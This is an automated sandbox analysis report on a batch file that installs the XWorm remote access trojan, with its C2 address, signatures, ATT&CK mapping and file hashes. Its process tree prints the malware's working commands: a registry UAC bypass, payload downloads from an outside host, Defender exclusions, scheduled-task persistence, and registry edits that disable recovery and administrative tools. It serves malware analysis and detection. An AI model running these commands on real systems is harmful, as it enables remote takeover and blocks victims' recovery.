Overview

overview

10

Static

static

1

Uac Bypass Rat.bat

windows10-1703-x64

10

Uac Bypass Rat.bat

windows11-21h2-x64

10

Analysis

  • max time kernel
    563s
  • max time network
    602s
  • platform
    windows10-1703_x64
  • resource
    win10-20240611-en
  • resource tags

    arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
  • submitted
    27-07-2024 23:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Uac Bypass Rat.bat

  • Size

    782B

  • MD5

    010176f3c136ca25c2e29e00bc9e75a7

  • SHA1

    344e7b8a9aa08b20bf17ac7f1fb01db13ad6e827

  • SHA256

    a5414f82d063d24e7f0d7e417024ba796c6e52fcb07cd8e59c306fe0e05b7518

  • SHA512

    5030daf2afdb75c67a38e428a9eef5c133aadf1c9484047556d3adf338bb2802ef7fc8cca01964a3715cc42c726c6d97b81ceacdfc620bfb5cab6a75b07816e0

Score
10/10
xwormdefense_evasiondiscoverydropperevasionexecutionpersistencerattrojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

las-protected.gl.at.ply.gg:59571

Mutex

57uEOC4VgAs3IeCB

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    Uni.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Disables use of System Restore points 1 TTPs
    evasion
  • Download via BitsAdmin 1 TTPs 1 IoCs
    dropper
  • Drops startup file 2 IoCs
  • Executes dropped EXE 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

    defense_evasion
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 38 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uac Bypass Rat.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5112
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2352
      • C:\Windows\system32\reg.exe
        reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe /c reg delete HKCU\Software\Classes\mscfile\shell\open\command /f & C:\Windows\System32\cmd.exe" /f
        2⤵
        • Modifies registry class
        • Modifies registry key
        PID:3868
      • C:\Windows\system32\bitsadmin.exe
        bitsadmin /transfer mydownloadjob /download /priority normal https://xworm.xyz/stuff/$sxr-test.bat C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat
        2⤵
        • Download via BitsAdmin
        PID:5104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://xworm.xyz/stuff/$sxr-test.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat'"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:260
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\system32\certutil.exe
          certutil -decodehex temp.hex "Uni.exe"
          3⤵
          • Deobfuscate/Decode Files or Information
          PID:1032
        • C:\Users\Admin\AppData\Local\Temp\Uni.exe
          Uni.exe
          3⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:468
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2192
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4716
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1432
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Uni.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1564
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Uni" /tr "C:\Users\Admin\Uni.exe"
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4380
          • C:\Users\Admin\AppData\Local\Temp\cknnzt.exe
            "C:\Users\Admin\AppData\Local\Temp\cknnzt.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4144
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAagBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AbgB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAZgBmACMAPgA="
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4268
            • C:\Users\Admin\AppData\Local\Temp\MonkeModManager.exe
              "C:\Users\Admin\AppData\Local\Temp\MonkeModManager.exe"
              5⤵
              • Executes dropped EXE
              • Modifies registry class
              • Suspicious use of SetWindowsHookEx
              PID:708
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\reset survival.bat" "
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4760
              • C:\Windows\SysWOW64\ReAgentc.exe
                reagentc /disable
                6⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                PID:2364
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableResetPC" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4852
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableResetPC" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1568
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /v "NoWinRE" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3248
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsSetupOptions" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3000
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1020
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AutoRestartShell" /t REG_DWORD /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1804
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4544
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4480
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:964
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:5040
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
                6⤵
                • Disables RegEdit via registry modification
                • System Location Discovery: System Language Discovery
                PID:3940
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4416
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2148
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowCPL" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4080
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoThemesTab" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4036
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoDispSettings" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1196
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4200
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2172
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\MiniNT" /v "NoWinRE" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4448
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 2 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4708
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\WinRE" /v "DisableStatusMessages" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3016
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute" /v "AutoChk" /t REG_MULTI_SZ /d "" /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:816
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1648
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "\Microsoft\Windows\WinRE\WinREBootIndex" /Disable
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4700
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /Change /TN "\Microsoft\Windows\WinRE\WinRECleanup" /Disable
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3656
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\sr" /v "Start" /t REG_DWORD /d 4 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4424
              • C:\Windows\SysWOW64\reg.exe
                REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v "AutoReboot" /t REG_DWORD /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3772
              • C:\Windows\SysWOW64\sc.exe
                sc config wercplsupport start=disabled
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4560
              • C:\Windows\SysWOW64\sc.exe
                sc config WerSvc start=disabled
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:64
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      PID:4724
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      PID:4040
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      PID:3104
    • C:\Users\Admin\Uni.exe
      C:\Users\Admin\Uni.exe
      1⤵
      • Executes dropped EXE
      PID:4280
    • C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe
      C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe -Embedding
      1⤵
        PID:4568
      • C:\Users\Admin\Uni.exe
        C:\Users\Admin\Uni.exe
        1⤵
        • Executes dropped EXE
        PID:532
      • C:\Users\Admin\Uni.exe
        C:\Users\Admin\Uni.exe
        1⤵
        • Executes dropped EXE
        PID:2832
      • C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe
        C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe -Embedding
        1⤵
          PID:3140
        • C:\Users\Admin\Uni.exe
          C:\Users\Admin\Uni.exe
          1⤵
          • Executes dropped EXE
          PID:3428
        • C:\Users\Admin\Uni.exe
          C:\Users\Admin\Uni.exe
          1⤵
          • Executes dropped EXE
          PID:2096
        • C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe
          C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe -Embedding
          1⤵
            PID:5104
          • C:\Users\Admin\Uni.exe
            C:\Users\Admin\Uni.exe
            1⤵
            • Executes dropped EXE
            PID:4420

          Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Persistence

          BITS Jobs

          1
          T1197

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Scheduled Task

          1
          T1053.005

          Defense Evasion

          BITS Jobs

          1
          T1197

          Deobfuscate/Decode Files or Information

          1
          T1140

          Modify Registry

          2
          T1112

          Obfuscated Files or Information

          1
          T1027

          Command Obfuscation

          1
          T1027.010

          Credential Access

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          1
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Inhibit System Recovery

          1
          T1490

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Uni.exe.log
            Filesize

            654B

            MD5

            16c5fce5f7230eea11598ec11ed42862

            SHA1

            75392d4824706090f5e8907eee1059349c927600

            SHA256

            87ba77c13905298acbac72be90949c4fe0755b6eff9777615aa37f252515f151

            SHA512

            153edd6da59beea6cc411ed7383c32916425d6ebb65f04c65aab7c1d6b25443d143aa8449aa92149de0ad8a975f6ecaa60f9f7574536eec6b38fe5fd3a6c6adc

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            Filesize

            3KB

            MD5

            56efdb5a0f10b5eece165de4f8c9d799

            SHA1

            fa5de7ca343b018c3bfeab692545eb544c244e16

            SHA256

            6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

            SHA512

            91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            1KB

            MD5

            de68ca68ee303dfddbd9454fa0936cc9

            SHA1

            98e6c9050a451a86bf92abe4180cc67d2aea5819

            SHA256

            104a212eae1936ca7621842115c62bdfc2e69d67d19d3bdbdac91209a67f5272

            SHA512

            19de3dd8d3abca2388f563aa519aca32df4eeeb4ae0ed4d13979da4f8f019fd3e000f7f1e54214423fd82358c23f1d74b238540902a52cfc0046b5ffa84feedb

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            1KB

            MD5

            ae79f9644a1cb6c2536b818e32c2a2ef

            SHA1

            f2f11f31c742f37c57021d9f758bf01d0f4cd827

            SHA256

            fd223703c5342d45b55338ca56af0f1ca7c06b9128c9e20d9777bcbbde43dd0d

            SHA512

            2c373f393a0813f2400db4aa3f365bd448c1ce877f5c36b5ffc3d9e7e8d59315f0ae025a6057125d2cb1eeedc15aaeb0fe6772bab32cb46232362af5d1a5b34e

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            1KB

            MD5

            74f05ed3358c5a90314fc3f2de8edbbb

            SHA1

            a83797f4b6d98240dbf3154dd1fdd9fd8f299a14

            SHA256

            e15317e9b6c7b084a44146b2bf4a501af327f0f3b2894451afc8db4c52855093

            SHA512

            5158d6b1e910a230c207ba9f5184d72867092b07fe9807cdc1c5b4e34ee21b971911419e2e6ab4ee39f47afa714e9a6b2bb7467fc3ac509279ed0fb72e2a4fa9

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            1KB

            MD5

            da91425d0490a65f6e9317a1e831bdd2

            SHA1

            46886dde43736432786516865dc7c2536398ea11

            SHA256

            6e8bb649646ea0d2c9acf771dc32b365c08eb26b4f5bf88b003726ca3940a379

            SHA512

            abc0776b5c1885b9cda6b5ba5fa500afecc229309502c851e8db89c4aacd892acd7f9b08933a03e8b9bbfc3f1dfd477d53c25bf631015c2a43fa64804485efec

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            1KB

            MD5

            9ff10ce90fa1f5a4e14683fade00fb08

            SHA1

            200b762060211bfda71bd56157a50b20bf7aa842

            SHA256

            fc9dc034c4b550190df44882e548b24ec1a6f5a4bc92b88869b377f3ffc03185

            SHA512

            ef628c6b0f6fd67b3ba0684585df407716f8e03f29a9c1b72eee7615d1c315e1c832fe4095b1fa0e4690df0a02b6c331b0a3b5d6099cdcd8291ab1fdd7f19cc2

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\$sxr-test.bat
            Filesize

            90KB

            MD5

            011e90b162cf67f34f91d6d563859817

            SHA1

            30ce18995be9545ae88189bc3ff5defbd2392d11

            SHA256

            6cced62e6af36a52c48fdf0efb1571a44d6469f4ca66ca510020e5da407ed613

            SHA512

            51d47a852b27540154c8b3ccb295dae4874475bf631be931bf8a4cf271805e927162c7f01e8df7f0aea8b9a860dac3500e59208cb60440bfa8e827325be7a36d

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\MonkeModManager.exe
            Filesize

            217KB

            MD5

            1d62aa3d19462f3d5575fc54159911b4

            SHA1

            b37eab86c0075245fcc517a280f0705f6dffb852

            SHA256

            6acaae0fb470790102a338e23dfe2263f31e529288e4efe51b34bca30371cb36

            SHA512

            78a9501d7920920577a586396e5d9e2278a7c926448c9a98d7844db9032dbd887df90d2f389fe1754bf5a2071a19dfd5d40315624923e903ef9ef6cbb214b1df

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\Uni.exe
            Filesize

            41KB

            MD5

            09e870076cfaa16f20be5050834ba8ff

            SHA1

            0b8b26cdaf08a07b8e86b1643ca23e249c8f3840

            SHA256

            f3fcb094f57ddd9e4c29eccc62e3ad3ce50d40230fbe0f00324ccf18acd68bc4

            SHA512

            d655030bf9bb84ecdd7109aab55c33976e2a2cbd63ccece48d3e881b1dd378e4e17f157a3dd9a07e8786650cbf46b8d742a115cb9906c9b69d7143c2b4de0643

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_11wev4dl.sau.ps1
            Filesize

            1B

            MD5

            c4ca4238a0b923820dcc509a6f75849b

            SHA1

            356a192b7913b04c54574d18c28d46e6395428ab

            SHA256

            6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

            SHA512

            4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\cknnzt.exe
            Filesize

            225KB

            MD5

            2841cd968c72817f9eef3a4bc2293d6e

            SHA1

            5b788259d501493a87f00deee64fa0943ab19e34

            SHA256

            e5a9784f523a6965622532199a42f696ca15557b473f84c12f18210085a20e95

            SHA512

            82eded2b67775763669452be98f7c5eeb0a3cd34f4947753fef9cedea4a1f56b49223ed7ad8e68b77e54ab2bf004e9ba22107afdc23e2e168dc60f2013907bf0

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\reset survival.bat
            Filesize

            3KB

            MD5

            ecde221cbc92ee55ae5b8c1a24e98f56

            SHA1

            ebda0dba4abcd3bf93183e2787cc9e5f9f1448ee

            SHA256

            b6fbab33e31d0a525d4c752886d812c1c46477f6314da7bde25bdc8198cb70cb

            SHA512

            122673ad96f1e407c75a93672f6538f342499f4e14221cbe4103c601362667487f3f33800230572e255b55e691e5068adce6336a4ffe1a651bff465d2c2d3493

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\temp.hex
            Filesize

            85KB

            MD5

            fad3aaf3015914e834a9d0313fcd371b

            SHA1

            a4715a153a79263436819905b87b54acae4b2227

            SHA256

            917674ca36b5345dccd41f4ce772c6ffe8c3054520ebd2923fba768cbee77690

            SHA512

            64c9bd116ad70abf9e8bf444f248915383d4b4680de1f6dadad649e0279803c9575952b0e1995a34e47c5a73eb42e23e964437a4a7828d3214f3f694383db83a

            Download Submit

          • memory/260-0-0x00007FF9FC433000-0x00007FF9FC434000-memory.dmp

            Filesize

            4KB

            Download

          • memory/260-31-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

            Filesize

            9.9MB

            Download

          • memory/260-25-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

            Filesize

            9.9MB

            Download

          • memory/260-10-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

            Filesize

            9.9MB

            Download

          • memory/260-9-0x0000021700380000-0x00000217003F6000-memory.dmp

            Filesize

            472KB

            Download

          • memory/260-8-0x00007FF9FC430000-0x00007FF9FCE1C000-memory.dmp

            Filesize

            9.9MB

            Download

          • memory/260-5-0x00000217001B0000-0x00000217001D2000-memory.dmp

            Filesize

            136KB

            Download

          • memory/468-39-0x0000000000D30000-0x0000000000D40000-memory.dmp

            Filesize

            64KB

            Download

          • memory/708-236-0x000002532B540000-0x000002532B57C000-memory.dmp

            Filesize

            240KB

            Download

          • memory/4268-249-0x00000000080D0000-0x0000000008136000-memory.dmp

            Filesize

            408KB

            Download

          • memory/4268-253-0x0000000008A10000-0x0000000008A5B000-memory.dmp

            Filesize

            300KB

            Download

          • memory/4268-248-0x0000000008060000-0x00000000080C6000-memory.dmp

            Filesize

            408KB

            Download

          • memory/4268-241-0x0000000007840000-0x0000000007E68000-memory.dmp

            Filesize

            6.2MB

            Download

          • memory/4268-250-0x0000000008240000-0x0000000008590000-memory.dmp

            Filesize

            3.3MB

            Download

          • memory/4268-240-0x00000000071D0000-0x0000000007206000-memory.dmp

            Filesize

            216KB

            Download

          • memory/4268-252-0x0000000008010000-0x000000000802C000-memory.dmp

            Filesize

            112KB

            Download

          • memory/4268-247-0x0000000007EE0000-0x0000000007F02000-memory.dmp

            Filesize

            136KB

            Download

          • memory/4268-254-0x0000000008950000-0x00000000089C6000-memory.dmp

            Filesize

            472KB

            Download

          • memory/4268-271-0x0000000009820000-0x0000000009853000-memory.dmp

            Filesize

            204KB

            Download

          • memory/4268-272-0x0000000073040000-0x000000007308B000-memory.dmp

            Filesize

            300KB

            Download

          • memory/4268-273-0x00000000097E0000-0x00000000097FE000-memory.dmp

            Filesize

            120KB

            Download

          • memory/4268-278-0x0000000009990000-0x0000000009A35000-memory.dmp

            Filesize

            660KB

            Download

          • memory/4268-279-0x0000000009D50000-0x0000000009DE4000-memory.dmp

            Filesize

            592KB

            Download

          • memory/4268-472-0x0000000009CF0000-0x0000000009D0A000-memory.dmp

            Filesize

            104KB

            Download

          • memory/4268-477-0x0000000009CE0000-0x0000000009CE8000-memory.dmp

            Filesize

            32KB

            Download